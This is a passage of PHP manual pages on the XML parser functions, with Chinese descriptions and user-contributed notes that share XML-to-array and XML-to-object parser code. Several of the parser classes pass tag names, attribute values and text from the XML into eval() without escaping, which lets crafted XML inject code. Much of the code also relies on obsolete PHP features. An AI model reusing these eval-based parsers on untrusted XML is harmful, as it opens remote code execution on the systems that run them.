    for ($i = count ($this->arrName) - 1; $i > 0; $i--) {
      $currName = $this->arrName[$i];
      array_pop ($this->arrName);
      if ($currName == $name) {
        break;
      }
    }
  }

}

?>
james @at@ mercstudio dot Com dot nospam 02-Apr-2006 12:10
hi,

i've modified bbellwfu at gmail dot com to as below:

features added:
  - toXML (convert back array to xml string)
  - changed name, according to macromedia flash xml concept : children -> childrens, tagdata -> nodevalue, name -> nodename,
  - added pointer firstchild to childrens[0] (if exists)

some findings that i would like to share:
 - <![cdata[my value here]]> (does not work on property value
 - xml file must be htmlentity based (if not using cdata)
 - xml line feed on node data seems to be double line feed on windows (still figuring why)
 - xml line feed on attribute value seems to be ignored...

here's my code below :)

class u007xml
{
   var $arrOutput = array();
   var $resParser;
   var $strXmlData;

    function u007xml($tfile = "")
    {
        if(trim($tfile) != "") { $this->loadFile($tfile);}
    }

    function loadFile($tfile)
    {
        $this->thefile = $tfile;

        $th = file($tfile);
        $tdata = implode("\n", $th);

        return $this->parse($tdata);
    }

   function parse($strInputXML)
   {
        $this->resParser = xml_parser_create ();
        xml_set_object($this->resParser,$this);
        xml_set_element_handler($this->resParser, "tagOpen", "tagClosed");

        xml_set_character_data_handler($this->resParser, "tagData");

        $this->strXmlData = xml_parse($this->resParser,$strInputXML );

        if(!$this->strXmlData) {
           die(sprintf("XML error: %s at line %d",
        xml_error_string(xml_get_error_code($this->resParser)),
        xml_get_current_line_number($this->resParser)));
        }

        xml_parser_free($this->resParser);

        return $this->arrOutput;
   }

   //called on each xml tree
   function tagOpen($parser, $name, $attrs) {
       $tag=array("nodename"=>$name,"attributes"=>$attrs);
       array_push($this->arrOutput,$tag);
   }

  //called on data for xml
   function tagData($parser, $tagData) {
       if(trim($tagData)) {
           if(isset($this->arrOutput[count($this->arrOutput)-1]['nodevalue'])) {
               $this->arrOutput[count($this->arrOutput)-1]['nodevalue'] .= $this->parseXMLValue($tagData);
           }
           else {
               $this->arrOutput[count($this->arrOutput)-1]['nodevalue'] = $this->parseXMLValue($tagData);
           }
       }
   }

  //called when finished parsing
   function tagClosed($parser, $name) {
       $this->arrOutput[count($this->arrOutput)-2]['childrens'][] = $this->arrOutput[count($this->arrOutput)-1];

       if(count ($this->arrOutput[count($this->arrOutput)-2]['childrens'] ) == 1)
       {
            $this->arrOutput[count($this->arrOutput)-2]['firstchild'] =& $this->arrOutput[count($this->arrOutput)-2]['childrens'][0];
       }
       array_pop($this->arrOutput);
   }

    function toArray()
    {
        //not used, we can call loadString or loadFile instead...
    }

    function parseXMLValue($tvalue)
    {
        $tvalue = htmlentities($tvalue);
        return $tvalue;
    }

    function toXML($tob = null)
    {
        //return back xml
        $result = "";

        if( $tob == null)
        {
            $tob = $this->arrOutput;
        }

        if(!isset($tob))
        {
            echo "XML Array empty...";
            return null;
        }

        for($c = 0; $c < count($tob); $c++)
        {
            $result .="<" . $tob[$c]["nodename"];

            while (list($key, $value) = each($tob[$c]["attributes"]))
            {
                $result .=" " . $key."=\"" . $this->parseXMLValue($value) . "\"";
            }

            $result .= ">";

            //assign node value
            if( isset($tob[$c]["nodevalue"]) )
            {
                $result .= $tob[$c]["nodevalue"];
            }

            if( count($tob[$c]["childrens"]) > 0 )
            {
                $result .= "\r\n" . $this->toXML(&$tob[$c]["childrens"]) . "";
            }

            $result .= "</" . $tob[$c]["nodename"] . ">\r\n";

        }//end of each array...

        return $result;
    }

    function displayXML()
    {
        print_r($this->arrOutput);
    }

    function getXML($tob = null)
    {
        return "<?xml version='1.0'?>\r\n" . $this->toXML($tob);
    }

}//end of u007xml class

//examples below:

$xx = new u007xml();
$xx->loadFile("xml3.xml");

//$xx->displayXML();

print $xx->getXML();
ben at autonomic dot net 16-Mar-2006 05:12
bbellwfu's code does not handle 'text nodes' properly.
Consider the innards of a tag like <root>xxx<tag2/>yyy</root>
The 'tagData' for root will be "xxxyyy" and you have lost all information about where "tag2" was in that sequence.

Quick and dirty hack.

Replace tagData with this code :
   function tagData($parser, $tagData) {
          $last_element=count($this->arrOutput)-1;
        $this->arrOutput[$last_element]['children'][] = array("textnode",$tagData);
   }

What this does is adds 'textnodes' as children of its containing parent, *in the right sequence* (rather like the internet browsers do it). This then lets you do some more sensible secondary work like recursively looking up internal references within the document...
Kyle Bresin 19-Jan-2006 03:15
Just wanted to note a small bug in bbellwfu's class (which is really great btw).

It fails to capture any datums which are equal to numerical zero.

The problem lies in the function tagData, the first if statement should be:

if(trim($tagData) != '') {
tim at alloutinteraction dot com 01-Oct-2005 07:29
I wanted to create a really simple XML parser, but I found the array management in xml_parse a bit daunting. So I flattened my XML and parsed it using string matching. It wouldn't be difficult to add xml depth (of 2 plus levels) by modifying the parsedXML array.

<?
// here's the raw html
$xmlRaw="<order>Order data</order><label>Label data</label><control>123</control>";
// here are the xml field names
$xmlFieldNames=array("order", "label", "control");
// for each xml field...
foreach ($xmlFieldNames as $xmlField) {
    if(strpos($xmlRaw,$xmlField)!==false){
        // I've broken 1 single line into 4 for display purposes
        $parsedXML[$xmlField]=substr($xmlRaw,
        strpos($xmlRaw,"<$xmlField>")+strlen("<$xmlField>"),
        strpos($xmlRaw,"</$xmlField>")-strlen("<$xmlField>")
        -strpos($xmlRaw,"<$xmlField>"));
    }
}
print_r($parsedXML);
// prints: Array ( [order] => Order data [label] => Label data [control] => 123 )

?>

Hope you find this useful (coded it while ill in bed with streaming cold, but felt much better afterwards!)

Tim (a lazy coder)
bbellwfu at gmail dot com 05-May-2005 02:51
Just improving a little bit on the code examples from tgrabietz and randlem below... everything in one pretty class, plus some checks in place so that the element data doesnt get split up (thanks to flobee on the xml_set_character_data_handler page)

<?php

/* Usage
 Grab some XML data, either from a file, URL, etc. however you want. Assume storage in $strYourXML;

 $objXML = new xml2Array();
 $arrOutput = $objXML->parse($strYourXML);
 print_r($arrOutput); //print it out, or do whatever!

*/
class xml2Array {

    var $arrOutput = array();
    var $resParser;
    var $strXmlData;

    function parse($strInputXML) {

            $this->resParser = xml_parser_create ();
            xml_set_object($this->resParser,$this);
            xml_set_element_handler($this->resParser, "tagOpen", "tagClosed");

            xml_set_character_data_handler($this->resParser, "tagData");

            $this->strXmlData = xml_parse($this->resParser,$strInputXML );
            if(!$this->strXmlData) {
               die(sprintf("XML error: %s at line %d",
            xml_error_string(xml_get_error_code($this->resParser)),
            xml_get_current_line_number($this->resParser)));
            }

            xml_parser_free($this->resParser);

            return $this->arrOutput;
    }
    function tagOpen($parser, $name, $attrs) {
       $tag=array("name"=>$name,"attrs"=>$attrs);
       array_push($this->arrOutput,$tag);
    }

    function tagData($parser, $tagData) {
       if(trim($tagData)) {
            if(isset($this->arrOutput[count($this->arrOutput)-1]['tagData'])) {
                $this->arrOutput[count($this->arrOutput)-1]['tagData'] .= $tagData;
            }
            else {
                $this->arrOutput[count($this->arrOutput)-1]['tagData'] = $tagData;
            }
       }
    }

    function tagClosed($parser, $name) {
       $this->arrOutput[count($this->arrOutput)-2]['children'][] = $this->arrOutput[count($this->arrOutput)-1];
       array_pop($this->arrOutput);
    }
}
?>

Will output something like...

<snippet>
Array
(
    [0] => Array
        (
            [name] => GETMESSAGESRESPONSE
            [attrs] => Array
                (
                )

            [children] => Array
                (
                    [0] => Array
                        (
                            [name] => STATUS
                            [attrs] => Array
                                (
                                )

                        )

</snippet>
alex dot garcia at noos dot fr 14-Mar-2005 01:47
Here is the inverse function which takes parsed xml array in entry and outputs xml string

enjoy !

function getXmlFromArray($root){

        if(count($root) > 0){

            $curr_name = $root['name'];
            $attribs = $root['attrs'];
            $curr_childs = $root['children'];
            $curr_data = $root['cdata'];

            $xml .= '<'.$curr_name;

            if(count($attribs) > 0){
                $i = 1;
                foreach($attribs as $key => $value){
                    $curr_attribs .= $key.'="'.$value.'"';
                    $i++;
                    if($i <= count($attribs)){
                        $curr_attribs .= ' ';
                    }
                }
                $xml .= ' '.$curr_attribs;
            }

            if($curr_data != ''){
                $xml .= '><![CDATA['.$curr_data.']]></'.$curr_name.'>';
            } else {
                if(count($curr_childs) > 0){
                    $xml .= '>';
                    foreach($curr_childs as $child){
                        $xml .= getXmlFromArray($child);
                    }
                    $xml .= '</'.$curr_name.'>';
                } else {
                    $xml .= '/>';
                }
            }

        }
        return $xml;
    }
tgrabietz at bupnet dot de 22-Sep-2004 08:05
it's like randlem at gmail dot com's great code, without using a "class container" but parsing cdata. The script returns the tree-structure in a single array.

<?php
$file = 'simple.xml';
$stack = array();

function startTag($parser, $name, $attrs)
{
   global $stack;
   $tag=array("name"=>$name,"attrs"=>$attrs);
   array_push($stack,$tag);

}

function cdata($parser, $cdata)
{
    global $stack,$i;

    if(trim($cdata))
    {
        $stack[count($stack)-1]['cdata']=$cdata;
    }
}

function endTag($parser, $name)
{
   global $stack;
   $stack[count($stack)-2]['children'][] = $stack[count($stack)-1];
   array_pop($stack);
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startTag", "endTag");
xml_set_character_data_handler($xml_parser, "cdata");

$data = xml_parse($xml_parser,file_get_contents($file));
if(!$data) {
   die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}

xml_parser_free($xml_parser);

print("<pre>\n");
print_r($stack);
print("</pre>\n");
?>
ByK 16-Sep-2004 08:12
modified from yours code. I think it's work!!.
class CXml
{
    var $xml_data;
    var $obj_data;
    var $pointer;

    function CXml() { }

    function Set_xml_data( &$xml_data )
    {
        $this->index = 0;
        $this->pointer[] = &$this->obj_data;

        //strip white space between tags
        $this->xml_data = eregi_replace(">"."[[:space:]]+"."<","><",$xml_data);
        $this->xml_parser = xml_parser_create( "UTF-8" );

        xml_parser_set_option( $this->xml_parser, XML_OPTION_CASE_FOLDING, false );
        xml_set_object( $this->xml_parser, &$this );
        xml_set_element_handler( $this->xml_parser, "_startElement", "_endElement");
        xml_set_character_data_handler( $this->xml_parser, "_cData" );

        xml_parse( $this->xml_parser, $this->xml_data, true );
        xml_parser_free( $this->xml_parser );
    }

    function _startElement( $parser, $tag, $attributeList )
    {
        foreach( $attributeList as $name => $value )
        {
            $value = $this->_cleanString( $value );
            $object->$name = $value;
        }
        //replaces the special characters with the underscore (_) in tag name
        $tag = preg_replace("/[:\-\. ]/", "_", $tag);
        eval( "\$this->pointer[\$this->index]->" . $tag . "[] = \$object;" );
        eval( "\$size = sizeof( \$this->pointer[\$this->index]->" . $tag . " );" );
        eval( "\$this->pointer[] = &\$this->pointer[\$this->index]->" . $tag . "[\$size-1];" );

        $this->index++;
    }

    function _endElement( $parser, $tag )
    {
        array_pop( $this->pointer );
        $this->index--;
    }

    function _cData( $parser, $data )
    {
        if (empty($this->pointer[$this->index])) {
            if (rtrim($data, "\n"))
                $this->pointer[$this->index] = $data;
        } else {
            $this->pointer[$this->index] .= $data;
        }
    }

    function _cleanString( $string )
    {
        return utf8_decode( trim( $string ) );
    }
}

$m_xml = new CXml();
$xml_data = file_get_contents( $filename );

$m_xml->Set_XML_data( $xml_data );

$newsid = $m_xml->obj_data->root[0]->NewsID[0];
randlem at gmail dot com 15-Sep-2004 08:43
Here's a handy way to generate a tree that can be can be decended easily.

<?php
$file = 'xmltest.xml';

$tag_tree = array();
$stack = array();

class tag {
    var $name;
    var $attrs;
    var $children;
    function tag($name, $attrs, $children) {
        $this->name = $name;
        $this->attrs = $attrs;
        $this->children = $children;
    }
}

function startTag($parser, $name, $attrs) {
    global $tag_tree, $stack;
    $tag = new tag($name,$attrs,'');
    array_push($stack,$tag);
}

function endTag($parser, $name) {
    global $stack;
    $stack[count($stack)-2]->children[] = $stack[count($stack)-1];
    array_pop($stack);
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startTag", "endTag");

$data = xml_parse($xml_parser,file_get_contents($file));
if(!$data) {
    die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}

xml_parser_free($xml_parser);

print("\n");
print_r($stack);
print("\n");
?>
michelek 26-Oct-2003 10:42
its maybe not better, but me thinks its more stright-forward

--INPUT:

<?xml version="1.0" encoding="UTF-8"?>
<world>
    <country name="sweden">
        <city name="stockholm">
            <user>Adam</user>
            <user>Eva</user>
        </city>
        <city name="g?teborg">
            <user>God</user>
        </city>
    </country>
    <country name="usa">
        <city name="new york">
            <user>Clinton</user>
            <user>Bush</user>
        </city>
    </country>
</world>

--CODE:
<?
/**
 * m_i_h_k_e_l_AT_w_w_DOT_e_e
 * 26.10.2003
**/
$filename = "m.m.xml";
$xmlC = new XmlC();
$xml_data = file_get_contents( $filename );

$xmlC->Set_XML_data( $xml_data );

echo( "<pre>\n" );
print_r( $xmlC->obj_data );
echo( "</pre>\n" );

class XmlC
{
  var $xml_data;
  var $obj_data;
  var $pointer;

  function XmlC()
  {
  }

  function Set_xml_data( &$xml_data )
  {
    $this->index = 0;
    $this->pointer[] = &$this->obj_data;

    $this->xml_data = $xml_data;
    $this->xml_parser = xml_parser_create( "UTF-8" );

    xml_parser_set_option( $this->xml_parser, XML_OPTION_CASE_FOLDING, false );
    xml_set_object( $this->xml_parser, &$this );
    xml_set_element_handler( $this->xml_parser, "_startElement", "_endElement");
    xml_set_character_data_handler( $this->xml_parser, "_cData" );

    xml_parse( $this->xml_parser, $this->xml_data, true );
    xml_parser_free( $this->xml_parser );
  }

  function _startElement( $parser, $tag, $attributeList )
  {
    foreach( $attributeList as $name => $value )
    {
      $value = $this->_cleanString( $value );
      $object->$name = $value;
    }
    eval( "\$this->pointer[\$this->index]->" . $tag . "[] = \$object;" );
    eval( "\$size = sizeof( \$this->pointer[\$this->index]->" . $tag . " );" );
    eval( "\$this->pointer[] = &\$this->pointer[\$this->index]->" . $tag . "[\$size-1];" );

    $this->index++;
  }

  function _endElement( $parser, $tag )
  {
    array_pop( $this->pointer );
    $this->index--;
  }

  function _cData( $parser, $data )
  {
    if( trim( $data ) )
    {
      $this->pointer[$this->index] = trim( $data );
    }
  }

  function _cleanString( $string )
  {
    return utf8_decode( trim( $string ) );
  }

}
?>
Adam Tylmad 11-Sep-2003 01:11
I've created a parser that returns an
object based on a xml document.

example:
<?xml version="1.0" encoding="ISO-8859-1" ?>
<country name="sweden">
    <city name="stockholm">
        <user>Adam</user>
        <user>Eve</user>
    </city>
    <city name="g?teborg">
        <user>God</user>
    </city>
</country>
<country name="usa">
    <city name="new york">
        <user>Clinton</user>
        <user>Bush</user>
    </city>
</country>

generates the following object structure:
[country] => Array
(
    [0] => stdClass Object
        (
            [name] => sweden
            [city] => Array
                (
                    [0] => stdClass Object
                        (
                            [name] => stockholm
                            [user] => Array
                                (
                                    [0] => Adam
                                    [1] => Eve
                                )
                        )
                    [1] => stdClass Object
                        (
                            [name] => g?teborg
                            [user] => God
                        )
                )
        )
    [1] => stdClass Object
        (
            [name] => usa
            [city] => stdClass
                (
                    [name] => new york
                    [user] => Array
                        (
                            [0] => Clinton
                            [1] => Bush
                        )
                )
        )
)

Here is the code:

class XMLParser {
    var $path;
    var $result;

    function XMLParser($encoding, $data) {
        $this->path = "\$this->result";
        $this->index = 0;

        $xml_parser = xml_parser_create($encoding);
        xml_set_object($xml_parser, &$this);
        xml_set_element_handler($xml_parser, 'startElement', 'endElement');
        xml_set_character_data_handler($xml_parser, 'characterData');

        xml_parse($xml_parser, $data, true);
        xml_parser_free($xml_parser);
    }

        function startElement($parser, $tag, $attributeList) {
            eval("\$vars = get_object_vars(".$this->path.");");
            $this->path .= "->".$tag;
            if ($vars and array_key_exists($tag, $vars)) {
                 eval("\$data = ".$this->path.";");
                     if (is_array($data)) {
                           $index = sizeof($data);
                           $this->path .= "[".$index."]";
                     } else if (is_object($data)) {
                           eval($this->path." = array(".$this->path.");");
                           $this->path .= "[1]";
                     }
            }
            eval($this->path." = null;");

            foreach($attributeList as $name => $value)
                eval($this->path."->".$name. " = '".XMLParser::cleanString($value)."';");
        }

    function endElement($parser, $tag) {
        $this->path = substr($this->path, 0, strrpos($this->path, "->"));
    }

    function characterData($parser, $data) {
        eval($this->path." = '".trim($data)."';");
    }
}

enjoy! And please make it better if you can ;-)


生成一个支持命名空间的 XML 解析器

  • ? xml_parse
  • xml_parser_create ?
  • PHP Manual
  • XML 解析器函数
  • 生成一个支持命名空间的 XML 解析器

xml_parser_create_ns

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

xml_parser_create_ns — 生成一个支持命名空间的 XML 解析器

描述

xml_parser_create_ns ([ string $encoding [, string $sep ]] ) : resource

函数 xml_parser_create_ns() 建立一个新的支持 XML 命名空间的解析器并返回可被其它 XML 函数使用的资源句柄。

通过有命名空间支持的解析器，传递给各种各样句柄函数的标签参数将由命名空间和标签名组成。命名空间和标签名的分隔符由 seperator 参数制定的字符串决定，其默认值为":"。

可选参数 encoding 在 PHP 4 中用来指定要被解析的 XML 输入的字符编码方式。PHP 5 开始，自动侦测输入的 XML 的编码，因此 encoding 参数仅用来指定解析后输出数据的编码。在 PHP 4 总，默认输出的编码与输入数据的编码是相同的。如果传递了空字符串，解析器会尝试搜索头 3 或 4 个字节以确定文档的编码。在 PHP 5.0.0 和 5.0.1 总，默认输出的字符编码是 ISO-8859-1，而 PHP 5.0.2 及以上版本是 UTF-8。解析器支持的编码有 ISO-8859-1, UTF-8 和 US-ASCII。

请参阅函数 xml_parser_create() 和 xml_parser_free()。

User Contributed Notes

bishop at php dot net 17-Feb-2019 04:24
Internals has proposed[1] changing this extension from resource-based to object-based. When this change is made, xml_parser_create_ns will return an object, not a resource. Application developers are encouraged to replace any checks for explicit success, like:

<?php
$res = xml_parser_create_ns(/*...*/);
if (! is_resource($res)) {
    // ...
}
?>

With a check for explicit failure:
<?php
$res = xml_parser_create_ns(/*...*/);
if (false === $res) {
    // ...
}

[1]: https://marc.info/?l=php-internals&m=154998365013373&w=2
jonnyNO at SPAM dot sanriowasteland dot net 11-Jun-2002 05:49
This is from the Expat Function Reference by Clark Cooper, which is a reference to the C api.

"XML_Parser XML_ParserCreateNS(const XML_Char*encoding, XML_Char sep)
Constructs a new parser that has namespace processing in effect. Namespace expanded element names and attribute names are returned as a concatenation of the namespace URI, sep, and the local part of the name. This means that you should pick a character for sep that can't be part of a legal URI."

(from http://www.xml.com/pub/a/1999/09/expat/reference.html)

So thats what this function is for.  Now you know.


建立一个 XML 解析器

  • ? xml_parser_create_ns
  • xml_parser_free ?
  • PHP Manual
  • XML 解析器函数
  • 建立一个 XML 解析器

xml_parser_create

(PHP 4, PHP 5, PHP 7)

xml_parser_create — 建立一个 XML 解析器

描述

xml_parser_create ([ string $encoding ] ) : resource

函数 xml_parser_create() 建立一个新的 XML 解析器并返回可被其它 XML 函数使用的资源句柄。

可选参数 encoding 在 PHP 4 中用来指定要被解析的 XML 输入的字符编码方式。PHP 5 开始，自动侦测输入的 XML 的编码，因此 encoding 参数仅用来指定解析后输出数据的编码。在 PHP 4 总，默认输出的编码与输入数据的编码是相同的。如果传递了空字符串，解析器会尝试搜索头 3 或 4 个字节以确定文档的编码。在 PHP 5.0.0 和 5.0.1 总，默认输出的字符编码是 ISO-8859-1，而 PHP 5.0.2 及以上版本是 UTF-8。解析器支持的编码有 ISO-8859-1, UTF-8 和 US-ASCII。

请参阅函数 xml_parser_create_ns() 和 xml_parser_free()。

User Contributed Notes

bishop at php dot net 17-Feb-2019 04:23
Internals has proposed[1] changing this extension from resource-based to object-based. When this change is made, xml_parser_create will return an object, not a resource. Application developers are encouraged to replace any checks for explicit success, like:

<?php
$res = xml_parser_create(/*...*/);
if (! is_resource($res)) {
    // ...
}
?>

With a check for explicit failure:
<?php
$res = xml_parser_create(/*...*/);
if (false === $res) {
    // ...
}

[1]: https://marc.info/?l=php-internals&m=154998365013373&w=2
marek995 at seznam dot cz 24-Sep-2010 11:46
I created a function, which combines xml_paresr_create and all functions around.

<?php
function html_parse($file)
     {
      $array = str_split($file, 1);
      $count = false;
      $text = "";
      $end = false;
      foreach($array as $temp)
       {
        switch($temp)
         {
          case "<":
           between($text);
           $text = "";
           $count = true;
           $end = false;
           break;
          case ">":
           if($end == true) {end_tag($text);}
           else {start_tag($text);}
           $text = "";
           break;
          case "/":
           if($count == true) {$end = true;}
           else {$text = $text . "/";}
           break;
          default:
           $count = false;
           $text = $text . $temp;
         }
       }
     }
?>
The input value is a string.
It calls functions start_tag() , between() and end_tag() just like the original xml parser.

But it has a few differences:
  - It does NOT check the code. Just resends values to that three functions, no matter, if they are right
  - It works with parameters. For example: from tag <sth b="42"> sends sth b="42"
  - It works wit diacritics. The original parser sometimes wrapped the text before the first diacritics appearance.
  - Works with all encoding. If the input is UTF-8, the output will be UTF-8 too
  - It works with strings. Not with file pointers.
  - No "Reserved XML name" error
  - No doctype needed
  - It does not work with commentaries, notes, programming instructions etc. Just the tags

definition of the handling functions is:

<?php
function between($stuff) {}
?>

No other attributes
juanhdv at NOSPAM dot divvol dot org 05-Dec-2007 12:08
In PHP 5, when including in your xml file the definition '<?xml version="1.0" encoding="ISO-8859-1" ?>',   I'd also recommend adding the option below:

xml_parser_set_option($xml_parser,XML_OPTION_TARGET_ENCODING, "ISO-8859-1").

It works fine!

If your enconding is 'UTF-8', just replace 'ISO-8859-1'.
19-Apr-2006 07:42
I'd also recommend adding the option below
xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,1);
Tobbe 25-May-2005 06:01
The above "XML to array" code does not work properly if you have several tags on the same level and with the same name, example:

<currenterrors>
<error>
<description>This is a real error...</description>
</error>
<error>
<description>This is a second error...</description>
</error>
<error>
<description>Lots of errors today...</description>
</error>
<error>
<description>This is the last error...</description>
</error>
</currenterrors>

It will then only display the first <error>-tag.
In this case you will need to number the tags automatically or maybe have several arrays for each new element.
php at stock-consulting dot com 21-Feb-2005 02:47
Even though I passed "UTF-8" as encoding type PHP (Version 4.3.3) did *not* treat the input file as UTF-8. The input file was missing the BOM header bytes (which may indeed be omitted, according to RFC3629...but things are a bit unclear there. The RFC seems to make mere recommendations concering the BOM header). If you want to sure that PHP treats an UTF-8 encoded file correctly, make sure that it begins with the corresponding 3 byte BOM header (0xEF 0xBB 0xBF)
jcalvert at gmx dot net 03-Apr-2004 10:39
To maintain compatibility between PHP4 and PHP5 you should always pass a string argument to this function. PHP4 autodetects the format of the input if you leave it out whereas PHP5 will assume the format to be ISO-8859-1 (and choke on the byte order marker of UTF-8 files).

Calling the function as <?php $res = xml_parser_create('') ?> will cause both versions of PHP to autodetect the format.


释放指定的 XML 解析器

  • ? xml_parser_create
  • xml_parser_get_option ?
  • PHP Manual
  • XML 解析器函数
  • 释放指定的 XML 解析器

xml_parser_free

(PHP 4, PHP 5, PHP 7)

xml_parser_free — 释放指定的 XML 解析器

描述

xml_parser_free ( resource $parser ) : bool

parser
指向要释放的 XML 解析器的指针。

如果 parser 参数没有指向一个合法的解析器，该函数将返回 FALSE，否则将释放指定的解析器并返回 TRUE。

User Contributed Notes

nidzho 27-Aug-2016 08:12
Unset the parser after calling xml_parser_free() to prevent memory leaks:

<?php
xml_parser_free($parser);
unset($parser);
?>
dio at edu dot uni-klu dot ac dot at 01-Oct-2005 09:56
If you try to free an XML parser while it is still parsing, strange things will happen - your script will "hang" and no output will be sent to the browser. Consider this pseudo-code example:

-------

...
if (!xml_parse($parser)) echo 'XML error';

xml_parser_free($parser);

...

function SomeCallbackWhichWasSetBefore(...)
{
global $parser;

...

if (some_error_happened) xml_parser_free($parser);  //problem!

...

}

------

It would be logical that xml_parse would return false if the parser was freed while parsing, right? Wrong! Instead, everything hangs and no output will be sent out (no matter whether output buffering is on or not). It took me more than an hour to figure out why: you cannot free a parser handle that is currently parsing. A simple solution:

-------

$xml_error = false;
if (!xml_parse($parser))
echo 'XML error (directly from parser)';
else if ($xml_error)
echo 'XML error (from some callback function);

xml_parser_free($parser);

...

function SomeCallbackWhichWasSetBefore(...)
{
global $parser;
global $xml_error;

if ($xml_error)
return;

...

if (some_error_occured)
{
$xml_error = false;
return;
}

...

}

-------

If you use this solution you will have to check for $xml_error in every callback function. Essentially what you're doing is that, in case you want to stop parsing because of an error, you continue until xml_parse() is finished (without actually doing anything) and then free the parser and act on the error.

Of course the underlying problem is that you cannot stop a parser while it is parsing. There should be some function like xml_throw_error() or xml_parser_stop() or whatever, but unfortunately there isn't.
php dot net at gwprogramming dot com (George Webb) 30-Oct-2003 06:56
I found that with PHP 4.3.4RC1, if you don't call xml_parser_free() before your script ends, some sort of ugliness occurs with the webserver; i.e. the HTTP connection is closed.  (The apache error_log says "exit signal Segmentation fault (11)".)

Usually PHP tends to clean up connections you don't explicitly close (e.g. database connections), but in this case apparently it doesn't.

Some web browsers (MSIE for one) do not actually show this problem, so you may not actually notice it.  Opera 7.11 does show it, which is how I discovered it.

So don't forget to call xml_parser_free() ... always!


从 XML 解析器获取选项设置信息

  • ? xml_parser_free
  • xml_parser_set_option ?
  • PHP Manual
  • XML 解析器函数
  • 从 XML 解析器获取选项设置信息

xml_parser_get_option

(PHP 4, PHP 5, PHP 7)

xml_parser_get_option — 从 XML 解析器获取选项设置信息

描述

xml_parser_get_option ( resource $parser , int $option ) : mixed

parser
指向要获取设置信息的 XML 解析器的指针。
option
要获取的设置选项名称。可以使用 XML_OPTION_CASE_FOLDING 和 XML_OPTION_TARGET_ENCODING 常量。其说明见 xml_parser_set_option()。

如果 parser 参数没有指向一个合法的解析器或者 option 参数无效，该函数将返回 FALSE（同时产生 E_WARNING 警告）。否则将返回指定设置选项的值。

User Contributed Notes

dnricky at hotmail dot com 24-Jun-2017 04:57
<?php
$xmlparser = xml_parser_create();

echo "XML_OPTION_CASE_FOLDING:" . xml_parser_get_option($xmlparser, XML_OPTION_CASE_FOLDING) . "<br />"; //Specifies if case-folding is enabled. Enabled by default. Can be 1 (TRUE) or 0 (FALSE)

echo "XML_OPTION_TARGET_ENCODING:" . xml_parser_get_option($xmlparser, XML_OPTION_TARGET_ENCODING ) . "<br />"; //Specifies which target encoding to use in this XML parser. By default, it is set to the same as the xml_parser_create() function. Supported target encodings are ISO-8859-1, US-ASCII and UTF-8.

xml_parser_free($xmlparser);
?>


为指定 XML 解析进行选项设置

  • ? xml_parser_get_option
  • xml_set_character_data_handler ?
  • PHP Manual
  • XML 解析器函数
  • 为指定 XML 解析进行选项设置

xml_parser_set_option

(PHP 4, PHP 5, PHP 7)

xml_parser_set_option — 为指定 XML 解析进行选项设置

说明

xml_parser_set_option ( resource $parser , int $option , mixed $value ) : bool

parser
指向要设置选项信息的 XML 解析器的指针。
option
要设置的选项名称。请参考下文。
value
要给选项设置的新值。

如果 parser 参数没有指向一个合法的解析器或者指定的选项无法设置，该函数将返回 FALSE，否则将会把选项设置为指定的值并返回 TRUE。

可被设置的选项如下：

XML 解析器选项
选项常量 | 数据类型 | 描述
XML_OPTION_CASE_FOLDING | integer | 控制在该 XML 解析器中 大小写折叠（case-folding） 是否有效。其默认值为有效。
XML_OPTION_SKIP_TAGSTART | integer | 指明在一个标记名前应略过几个字符。
XML_OPTION_SKIP_WHITE | integer | 是否略过由白空字符组成的值。
XML_OPTION_TARGET_ENCODING | string | 设置该 XML 解析器所使用的目标编码（target encoding）方式。其默认值和由 xml_parser_create() 函数设置的源编码（source encoding）方式相同。支持的目标编码方式有 ISO-8859-1、US-ASCII 和 UTF-8。

User Contributed Notes

www.thomaskoch.it 31-Jul-2008 02:22
The option XML_OPTION_SKIP_WHITE has no effect in my PHP 5.2.6 (with expat-1.95.8-5). To skip cdata composed of white space only, simply check for that at the beginning of your cdata callback function:

<?php
function callback_cdata($parser, $cdata)
{
 if(!trim($cdata))
  return;

 // ... continue processing ...
}
?>
j[no_spam_please] at [thx]jessepearson dot net 08-Mar-2007 08:08
In the function below, you need to update two lines if you don't want php to throw warnings.

change these two:
           $elements[$index]['attributes'] = $tag['attributes'];
           $elements[$index]['content'] = $tag['value'];

to this:
      $elements[$index]['attributes'] = empty($tag['attributes']) ? "" : $tag['attributes'];
      $elements[$index]['content']    = empty($tag['value']) ? "" : $tag['value'];
06-Sep-2006 07:56
A little mod to a function posted here...

function xml_to_array( $file )
{
    $parser = xml_parser_create();
    xml_parser_set_option( $parser, XML_OPTION_CASE_FOLDING, 0 );
    xml_parser_set_option( $parser, XML_OPTION_SKIP_WHITE, 1 );
    xml_parse_into_struct( $parser, file_get_contents($file), $tags );
    xml_parser_free( $parser );

    $elements = array();
    $stack = array();
    foreach ( $tags as $tag )
    {
        $index = count( $elements );
        if ( $tag['type'] == "complete" || $tag['type'] == "open" )
        {
            $elements[$index] = array();
            $elements[$index]['name'] = $tag['tag'];
            $elements[$index]['attributes'] = $tag['attributes'];
            $elements[$index]['content'] = $tag['value'];

            if ( $tag['type'] == "open" )
            {    # push
                $elements[$index]['children'] = array();
                $stack[count($stack)] = &$elements;
                $elements = &$elements[$index]['children'];
            }
        }

        if ( $tag['type'] == "close" )
        {    # pop
            $elements = &$stack[count($stack) - 1];
            unset($stack[count($stack) - 1]);
        }
    }
    return $elements[0];
}
ksavage at achaean dot com 28-Mar-2005 01:25
Had one heck of a time getting curl to send my XML request.  Tried a lot of different things, FINALLY ended up with this.

Im making a curl request to paymentech / Orbital 's payment gateway.   Essentially, I took the same header i made for the fsockopen() request, and used it for this curl request. (Hostinc company didnt allow fsockopen().

You'll note that this specific gateway requires a custom content type header.  Thats what gave me the most trouble.  When using the CURLOPT_HTTPHEADER, and CURLOPT_POSTFIELDS together, it doesnt matter, it sends the default post header because of CURLOPT_POSTFIELDS.

<?php

$url = "https://example.com";
$page = "/proccessing_page.cgi";

$post_string = "<YourXML>All XML stuff Here</YourXML>";

       $header  = "POST ".$page." HTTP/1.0 \r\n";
        $header .= "MIME-Version: 1.0 \r\n";
        $header .= "Content-type: application/PTI26 \r\n";
